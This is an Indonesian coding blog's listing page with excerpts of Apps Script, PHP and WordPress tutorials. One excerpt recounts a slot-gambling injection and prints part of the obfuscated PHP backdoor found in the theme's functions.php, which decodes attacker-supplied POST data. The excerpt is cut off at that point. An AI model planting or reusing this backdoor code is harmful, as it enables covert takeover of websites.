UBOIZ BLOG

Panduan ini adalah hasil diskusi penulis dengan aplikasi ChatGPT  yang menjelaskan cara membuat sistem  upload  file langsung dari website Anda ke Google Drive menggunakan kombinasi  HTML/JavaScript  (Frontend),  PHP  (Proxy), dan  Google Apps Script  (Backend). Langkah 1: Siapkan Google Apps Script (Backend) Kode ini berfungsi sebagai  Backend  yang memiliki izin untuk berinteraksi langsung dengan Google Drive API. PENTING:  Ganti  "id folder"  di baris kode dengan ID folder tujuan Anda di Google Drive. Kode Apps Script ( Code.gs ) function doPost(e) { try { // Memproses data JSON yang dikirim oleh PHP Proxy const data = JSON.parse(e.postData.contents); const folderId = "id folder"; // <-- GANTI DENGAN ID FOLDER GOOGLE DRIVE ANDA // Fallback data const fileName = data.filename || "tanpa_nama"; const mimeType = data.mimeType || "application/octet-stream"; // Mendekode konten Base...

Suatu hari, penulis diminta untuk mengumpulkan file-file yang disediakan dalam bentuk ID yang disimpan dalam Google Sheets. Alasan kenapa harus di-copy, karena pemilik file, tidak ingin file aslinya diubah-ubah. Sehingga, karena file juga berada di Google Drive, penulis memilih untuk men-copy ke folder lain. Dibawah ini adalah kode Apps Script yang digunakan untuk melakukan copy file ke folder dalam Google Drive, dan mencatat hasilnya yang berupa alamat url file yang baru, di kolom yang lain. Script function copyFiletoFolder() { var folder = DriveApp.getFolderById("--ID Folder target--"); var target = SpreadsheetApp.openById("--ID sheets--");//its same var ss=target.getSheetByName("PKL"); ss.getRange("J2:J").getValues().map(function(row,index){ if(row[0]!=""){ try{ var file=DriveApp.getFileById(row[0]); var f=file.makeCopy(file.getName(),folder); ss.getRange("K"+(2+index)).setValue(f...

Melanjutkan pekerjaan sebelumnya, ternyata diperlukan pembuatan folder berdasarkan inisial karyawan, pada Spreadsheet daftar karyawan yang digunakan pada posting yang berjudul "Duplikasi File Template Kuisioner dengan Apps Script" . Tujuannya, dengan memberikan akses tiap folder berdasarkan akun masing-masing karyawan, maka dengan membuat file di dalam folder tersebut saja, file yang membutuhkan akses, akan dapat langsung digunakan oleh karyawan yang bersangkutan. Berikut ini adalah kode untuk membuat folder berdasarkan inisial karyawan: function makeFolderbyList() { var ss = SpreadsheetApp.openById("--idsheetkaryawan--");//sheet target untuk var so=ss.getSheetByName("Karyawan"); var data=so.getRange("A2:T").getValues().map(function(row,index){ var pass=false; if(row[0]!="" && row[19]=="Active"){ pass=true; row.push(index); } return pass?row:null}).filter(function(cellData){return cel...

Suatu waktu, penulis mendapat tugas untuk membuat kuisioner beberapa karyawan menggunakan Google Spreadsheet. Di mana daftar karyawan juga telah disediakan pada file Spreadsheet lain seperti ditunjukkan pada gambar di bawah ini: Skema kerjanya, pertama penulis membuat template kuisioner. Kedua, penulis menduplikasinya, dengan nama file sesuai inisial masing-masing karyawan. Dan terakhir, ketiga, penulis mengumpulkan url tiap file kuisioner tiap karyawan, untuk rekapitulasi. Kode Apps Script untuk langkah kedua, adalah sebagai berikut: function duplicateFileAsList() { var ss = SpreadsheetApp.openById("idsheetinisialkaryawan");//sheet target untuk var so=ss.getSheetByName("Dosen"); var data=so.getRange("A2:D").getValues().map(function(row,index){ if(row[0]!=""){ row.push(index); } return (row[0]!="")?row:null}).filter(function(cellData){return cellData != null;}); var filesource=DriveApp.getFileById("idsp...

Dalam posting ini, diberikan contoh mengirimkan data array menggunakan Python urllib dan Apps Script UrlFetchApp.fetch, untuk diinputkan ke Google Sheets dengan fungsi doPost. Fungsi doPost yang dimaksud, kurang lebih seperti kode dibawah ini: function doPost(e) { . . . var raw=(e.parameter["raw"]!=null)?JSON.parse(e.parameter["raw"].toString().replace(/'/g, '"')):null; var target = SpreadsheetApp.openById(idspreadsheet); var ss=target.getSheetByName(sheet); ss.getRange(1+start_row,1+start_column,raw.length,raw[0].length).setValues(raw); . . . } Di mana variabel target adalah Google Sheet tempat data disimpan. Sedangkan contoh pengiriman data array, berturut-turut sesuai kode berikut: Python from urllib import request, parse import json urlmain="https://script.google.com/macros/s/idapppost/exec" def senddingdata(idspreadsheet,sheet,mode,datum): data = { "keyvalue":"keyaccess","idspreadsheet...

Untuk mengambil atau memasukkan data dari database Google Sheets yang mempunyai beda authentifikasi, dapat menggunakan UrlFetchApp.fetch pada fungsi Apps Script dan menggunakan metode post. Dibawah ini adalah contoh pengiriman data array arr, untuk ditangkap dengan fungsi doPost(e): var email=Session.getActiveUser().getEmail(); var arr=["Mobil","Motor","Sepeda"]; var data = { "keyvalue":"idrahasia", "idspreadsheet":"--idgooglesheetdatabse--", "sheet":"Biodata", "ëmail":email, "raw":JSON.stringify(arr) }; var options = { 'method' : 'post', 'payload' : data }; var response=UrlFetchApp.fetch(urlpostdata,options); return JSON.parse(response.getContentText()); Perbedaan authentifikasi yang dimaksud disini adalah, misal aplikasi Apps Script yang dibuat, karena dibutuhkan untuk mengambil informasi email pengguna, maka authentifikasi akan diarahkan ke ...

Dalam Google Sheet, permasalahan yang sering penulis temui adalah terkait tanggal. Terutama ketika mengganti setting lokasi dan perhitungan dari United State ke format Indonesia. Belum lagi terkait timezone, seringkali penulis mengalami kesalahan perhitungan. Gambar di bawah ini adalah contoh kesalahan identifikasi tanggal, yang hari dianggap sebagai bulan, dan bulan sebagai hari. Sehingga yang berhasil di deteksi (meskipun sebenarnya salah) mengalami rataan kanan, sedangkan yang gagal di deteksi tetap rataan kiri. Oleh karena itu, untuk mudahnya, berikut ini adalah contoh kode Apps Script untuk mengubah letak tanggal menjadi bulan dan sebaliknya: function isValidDate(d) { if ( Object.prototype.toString.call(d) !== "[object Date]" ) return false; return !isNaN(d.getTime()); } function convertDate(sDate) { if (isValidDate(sDate)) { var timeZone = Session.getScriptTimeZone(); var month = sDate.getDate(); var day = sDate.getMonth() + 1; var year = sDa...

Publikasi Dosen suatu instansi pendidikan kadang tidak terekam dengan baik. Sehingga ada kalanya terdapat double input dalam database. Untuk database yang menggunakan Google Sheet, deteksi kesamaan, sebenarnya dapat menggunakan kode Apps Script berikut: function hitungKesamaan(source,target) { var src=source.split(" "); var trg=target.split(" "); var max=(src.length>trg.length)?src.length:trg.length; if(max==0)return 0; var mrk=[]; for(var j =0; j < trg.length; j++){ mrk.push(0); } var jum=0; for(var i =0; i < src.length; i++){ for(var j =0; j < trg.length; j++){ if(mrk[j]!=1 && src[i]==trg[j]){ jum++; mrk[j]=1; break; } } } return jum*100.0/max; } Variabel source adalah judul pembanding, dan target adalah judul yang dibandingkan. Kode ini memberikan hasil nilai balik (return) berupa persentase jumlah kata yang sama antara judul source dan target. Di mana jika memberikan nila...

Untuk keperluan input nilai Software OBE (Outcome-Based Education) buatan Prof. Agus Naba, yang beralamat di http://anaba.lecture.ub.ac.id/obesoftware/ , ternyata diperlukan perubahan susunan data file input excelnya. Hal ini dimungkinkan karena perubahan output nilai dari Sistem Akademik Universitas, yang semula tidak menyertakan persamaan, menambahkan baris pertama sebagai baris persamaan, dan data nilai-nilai mahasiswa baru dimulai pada baris kedua. Selain itu, juga diperlukan penambahan sheet Bobot NA, CLO dan PLO setiap file nilai, untuk keperluan penambahan input ke perhitungan. Karena Prof. Agus Naba belum sempat membuat perbaikan, sehingga file excel input yang seharusnya memiliki susunan seperti Spreadsheet template di link ini , untuk sementara hanya dirubah dengan menghilangkan baris rumus dan memasukkan bobot masing-masing variabel penilaian pada sheet kedua. Langkah mudahnya, yaitu dengan membuat Spreadsheet dengan menduplicate Spreadsheet template di atas, yang diisi oleh...

Adakalanya, untuk file Google Sheet yang memiliki konten yang mirip, perlu digabungkan menjadi satu file. Hal ini biasanya agar akses dapat menjadi cepat. Berikut ini adalah kode untuk menggabungkan beberapa file yang mempunyai pola yang sama, dalam satu folder, ke file yang bernama Merger. function mergingFiles() { var ss = SpreadsheetApp.openById("idsheetterget");//Sheet Target var hasil = ss.getSheetByName("Nama Sheet"); var pointer=2; var files = DriveApp.getFolderById('idfolderfile').searchFiles('title != "nothing"');//ID Folder yang ingin ditampilkan listnya while(files.hasNext()){ var xFile = files.next(); var ss = SpreadsheetApp.openById(xFile.getId()); var names = ss.getSheetByName("Rekap Mengajar Dosen"); var data = names.getRange("A3:P").getValues().map(function(row,index){ if(row[0]!="")row[0]=xFile.getName(); return (row[0]!="")?row:null; })....

Dalam mengolah data berbasis Google Drive, adakalanya diperlukan untuk mengetahui nama file dalam suatu Folder, dan berikut url-nya. Jika file dalam jumlah banyak, maka akan lebih mudah menggunakan kode Apps Script. Kode berikut ini, adalah yang penulis gunakan untuk menampilkan daftar nama file beserta url-nya: function listFileOfDirectory() { var files = DriveApp.getFolderById('idfolder').searchFiles('title != "nothing"');//ID Folder yang ingin ditampilkan listnya while(files.hasNext()){ var xFile = files.next(); console.log(xFile.getName()+" "+xFile.getUrl()); } }

Adakalanya, untuk memproses suatu data Excel, diperlukan untuk mengubahnya ke bentuk Google Sheet. Jika jumlah file excelnya cuma satu, tentu konversinya akan mudah, tinggal 'Save as Google Sheets' begitu saja. Namun jika jumlahnya banyak, mengubahnya satu persatu dan akan membutuhkan waktu yang lama, yang pastinya akan menjemukan. Untungnya di Stackoverflow, penulis temukan kode Apps Script untuk konversi dari Excel to Google Sheet, yang kodenya penulis sedikit edit, sebagaimana di bawah ini: function convertXLS(){ var folderBId = "idfolderdrivetempatkonversi"; //Folder tujuan var files = DriveApp.getFolderById('idfolderdrivetargetfileexcel').searchFiles('title != "nothing"'); while(files.hasNext()){ var xFile = files.next(); var name = xFile.getName(); if (name.indexOf('.xlsx')>-1){ var ID = xFile.getId(); var xBlob = xFile.getBlob(); var newFile = { title : name.slice(0,name.indexOf...

Suatu hari, website yang penulis kelola, yang menggunakan Wordpress mendapat serangan injeksi judi slot. Hasilnya, di domain penulis, terdapat link landing page halaman promosi permainan tersebut. Setelah penulis cari-cari, di bawah ini adalah contoh kode PHP yang muncul di file functions.php theme Wordpress, yang penulis gunakan. if( ! function_exists('qmqkrosuwcclz') ) { function qmqkrosuwcclz($hofwrudrjow, $arprughxl) { $dcfibrnhftqbtq = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'; $hofwrudrjow = strtr($hofwrudrjow, $arprughxl, $dcfibrnhftqbtq); $hofwrudrjow = cogrjgxig($hofwrudrjow); return $hofwrudrjow; } function cogrjgxig($drvphbmibfcfnms) { $drvphbmibfcfnms = base64_decode($drvphbmibfcfnms); return $drvphbmibfcfnms; } $izvyyhb = $_POST; if(isset($izvyyhb['wtcyzjbnafe'])) { $tzivwumxaiztpg = $izvyyhb['wtcyzjbnafe']; $ozghajv = qmqkrosuwcclz($izvyyhb['lvenvrrdsiathe'], $tzivwumxaiztpg); $...

Ketika membangun website konferensi, biasanya di halaman utama, diberikan countdown timer. Dimana countdown timer ini berfungsi untuk memberikan informasi batas kepada calon peserta konferensi, yang berkeinginan untuk menjadi presenter, agar segera mengirimkan paper atau posternya sebelum tanggal yang ditentukan. Salah satu contohnya, adalah website konferensi PIT-FMB 2022 seperti ditunjukkan pada gambar di atas. Untuk keperluan tersebut, di bawah ini adalah kode javascript countdown timer, dengan tampilan yang membutuhkan dukungan styling CSS untuk membuat background yang transparan. <html> <head> <title>The Example of Countdown Timer</title> <style> .countdownbox{ font-family: "Roboto", Sans-serif; padding:10px; font-size:48px; background-color:#00000061; color:white; margin:5px 5px 0 5px; border-radius:5px; } </style> <script> </script> </head> <body> <div id="countmainbox" style="displa...

Salah satu kewajiban menjadi developer Android adalah diperlukannya backup source code app berkala. Hal ini penting dilakukan, sebagai cadangan, jika terjadi hal-hal yang tidak diinginkan, seperti terjadinya rusak atau bad sector pada hardisk device yang digunakan untuk membuat aplikasi. Masalahnya, file-file project app Android dengan Android Studio, biasanya jumlahnya banyak, meskipun ukurannya kecil-kecil. Dan menurut penulis, di dalamnya lebih banyak file yang hanya akan memakan space memory, jika penyimpanannya secara satu project penuh. Mungkin pada sebagian developer tidak akan mempermasalahkan keadaan ini. Tetapi jika jumlah app-nya sudah banyak, seperti edugameapp penulis, akan lebih baik untuk menyimpan source code dan file-file yang diperlukan saja, yang memungkinkan untuk menyimpan di Cloud Service seperti di Google Drive, sebagai cadangan yang lain. Oleh karena itu, kode Java di bawah ini, penulis menawarkan software sederhana berbasis dekstop, yang berguna untuk mengambi...

Dimisalkan, suatu instansi memberikan status kepada karyawannya menjadi tiga tingkat. Yaitu kontrak, tidak tetap dan tetap. Setiap status, memiliki kode nomor karyawan sendiri, yang akan berganti jika sang Karyawan telah layak naik pangkat, sesuai dengan loyalitas dan prestasinya. Di mana ketika karyawan berganti status, nomor lama ke yang baru, nomor yang lama akan tetap tersimpan di database (tanpa dihapus), kemudian nomor yang baru akan otomatis menjadi nomor acuan karyawan yang bersangkutan. Lalu bagaimanakah desain databasenya? Kesalahan yang potensial dihadapi sebagai programmer, untuk kasus di atas adalah menganggap nomor karyawan sebagai acuan di database. Penulis yakin, dengan melihat NIK (Nomor Induk Karyawan), pasti kebanyakan programmer database, akan menjadikan NIK sebagai ID acuan utama karyawan. Hal ini karena NIK dianggap tidak akan berubah sampai karyawan itu pensiun. Sebab, biasanya, jika ID acuan diganti, maka data-data sebelumnya yang mengacu pada ID lama, bisa-bisa...

Polylang adalah salah satu plugin Wordpress yang dapat digunakan untuk membantu membangun website multi-bahasa. Menurut penulis, plugin ini bagus, meskipun hanya digunakan versi gratisnya. Namun untuk menampilkan Widget yang dapat menyematkan kode HTML, saat tulisan ini dibuat, Widget Custom HTML bawaan Wordpress tidak dapat menampilkan pilihan bahasa. Sehingga perlu dibuat widget yang dapat menampilkan pilihan bahasa, sehingga widget hanya akan muncul ketika website dilihat pada pilihan bahasa yang ditentukan pengunjung (user). Berikut ini adalah kode widget, yang dapat disematkan di file functions.php theme Wordpress yang digunakan. function uboiz_html_register_widget() { register_widget( 'uboiz_html_widget' ); } add_action( 'widgets_init', 'uboiz_html_register_widget' ); class uboiz_html_widget extends WP_Widget { function __construct() { parent::__construct( // widget ID 'uboiz_html_widget', // widget name __('Uboiz HTML Widget...

OceanWP adalah salah satu theme dari Wordpress. Karena tampilannya yang elegan, mudah dimodifikasi, bervariasi dan cocok untuk situs pendidikan, penulis seringkali menggunakan theme ini untuk membuat situs-situs instansi pendidikan yang meng-kontrak tenaga penulis. Namun, mungkin untuk versi gratis, OceanWP tidak menyediakan sidebar pada bagian atasnya, yang seringkali berguna bagi penulis untuk menyematkan link-link yang penting, tetapi bukan untuk website itu sendiri. Oleh karena itu, berikut ini adalah tutorial singkat, percobaan penulis menambahkan top sidebar untuk theme OceanWP. Pertama, tambahkan kode di bawah ini ke file function.php, yang berada di folder /wp-content/themes/ , letakkan di dalam fungsi register_sidebars(). // Top Sidebar by Uboiz. register_sidebar( array( 'name' => esc_html__( 'Top Sidebar by Uboiz', 'oceanwp' ), 'id' => 'top-sidebar-uboiz', 'description' => esc_html__( '...

Seperti yang pernah penulis sebutkan dalam posting sebelumnya. Salah satu hal terpenting dalam membuat aplikasi, adalah menampilkan progress loader untuk suatu proses. Sebab, jika tidak menampilkan kondisi tersebut, pengguna tidak akan tahu bahwa aplikasi sedang melakukan proses, yang kemungkinan besar dapat membuat pengguna lari meninggalkan aplikasi. Apalagi jika aplikasi itu berupa website. Pengguna akan lebih memilih untuk pergi ke halaman lain, jika website buatan kita itu seperti crash atau kosong. Berikut ini adalah kode satu halaman web, yang menunjukkan contoh progress loader menggunakan CSS sesuai gambar di atas: <html> <head> <meta name="viewport" content="width=device-width,initial-scale=1"> <style> #loader,.boxloader{ position:absolute; top: 50%; left: 50%; background-color:white; padding:20px; display:flex; flex-flow:column; align-items:center; border: 1px solid #eee; border-radius:8px; -ms-transform: translate(-5...

Untuk keperluan analisis data, seringkali diperlukan membuat grafik, untuk melihat persebaran data. Seperti yang penulis butuhkan dalam video di atas, untuk melihat performa iklan Admob dari aplikasi-aplikasi buatan penulis, penulis perlu melihat performa jumlah iklan yang dipanggil tiap waktunya. Dengan teknologi HTML5 Canvas, ternyata membuat plotting garis sederhana dapat dilakukan dengan mudah. Cukup dengan membuat field input file, memilih data yang akan ditampilkan, dan menggambar grafiknya dengan Canvas. Fungsi berikut ini adalah perintah untuk membuat plotting dengan Canvas: function plotting(name,x,min,max) { var c = document.createElement('canvas'); c.width=300; c.height=200; var ctx = c.getContext("2d"); ctx.font = "14px Arial"; ctx.fillText(name+" "+x.length,5,16); ctx.beginPath(); for(var i=0;i<x.length;i++){ if(i==0){ ctx.moveTo(Math.round(1.0*i*c.width/x.length),Math.round(c.height-1.0*(x[i]-min)*c.height/(max-min)...